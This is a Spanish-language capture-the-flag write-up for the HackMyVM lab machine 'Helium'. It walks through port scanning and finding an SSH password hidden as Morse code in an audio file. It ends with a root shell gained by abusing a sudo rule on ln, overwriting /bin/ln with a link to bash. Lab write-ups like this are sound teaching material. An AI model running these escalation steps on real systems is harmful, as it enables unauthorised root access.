cd ~/blog

~/writeups/hmv/083-helium.md

083 - Helium

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Credential ExposureSudo-Allowed Program AbusePrivileged Executable Path Replacement
hackmyvm.eu/machines/machine.php?vm=Helium

~1 min de lectura


Enumeración de servicios

El objetivo sólo expone SSH y HTTP. Como todavía no conocemos credenciales, comenzamos por inspeccionar la aplicación web y sus recursos estáticos:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.61
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.61
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-25 14:22 -04
Nmap scan report for 192.168.1.61
Host is up (0.00037s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 12:f6:55:5f:c6:fa:fb:14:15:ae:4a:2b:38:d8:4a:30 (RSA)
|   256 b7:ac:87:6d:c4:f9:e3:9a:d4:6e:e0:4f:da:aa:22:20 (ECDSA)
|_  256 fe:e8:05:af:23:4d:3a:82:2a:64:9b:f7:35:e4:44:4a (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: RELAX
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.70 seconds

Recuperación de la pista de audio

El código fuente contiene un comentario dirigido a paul y menciona archivos .wav subidos mediante /upload_sound. Esto proporciona tanto un usuario candidato como el tipo de archivo que debemos buscar:

❯ curl http://192.168.1.61
...
<!-- Please paul, stop uploading weird .wav files using /upload_sound -->
...

La misma página enlaza bootstrap.min.css. Al revisar ese recurso encontramos la ruta del audio:

<link href="bootstrap.min.css" rel="stylesheet" />
❯ curl http://192.168.1.61/bootstrap.min.css
/yay/mysecretsound.wav

Descargamos mysecretsound.wav y lo procesamos con el decodificador adaptativo de audio de morsecode.world. La secuencia de tonos cortos y largos se traduce en la contraseña:

dancingpassyo

Acceso inicial mediante SSH

Combinamos el usuario del comentario con la contraseña decodificada y validamos las credenciales por SSH:

❯ ssh paul@192.168.1.61
paul@192.168.1.61's password: dancingpassyo
paul@helium:~$

La sesión permite recuperar la primera flag. sudo -l muestra que paul puede ejecutar /usr/bin/ln como cualquier usuario sin contraseña:

paul@helium:~$ sudo -l
Matching Defaults entries for paul on helium:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User paul may run the following commands on helium:
    (ALL : ALL) NOPASSWD: /usr/bin/ln

Escalada mediante sustitución de /bin/ln

La regla autoriza una ruta concreta, pero ln puede sobrescribir esa misma ruta con un enlace simbólico. Bajo Sudo-Allowed Program Abuse, la primera orden se ejecuta como root y reemplaza /bin/ln por un enlace a /bin/bash. En la segunda invocación, sudo vuelve a validar la ruta permitida, pero esa ruta ya resuelve a Bash y termina ejecutándola con privilegios:

paul@helium:~$ sudo ln -fs /bin/bash /bin/ln
paul@helium:~$ sudo ln
root@helium:/home/paul#

El prompt confirma la shell de root. Recuperamos la flag final y damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados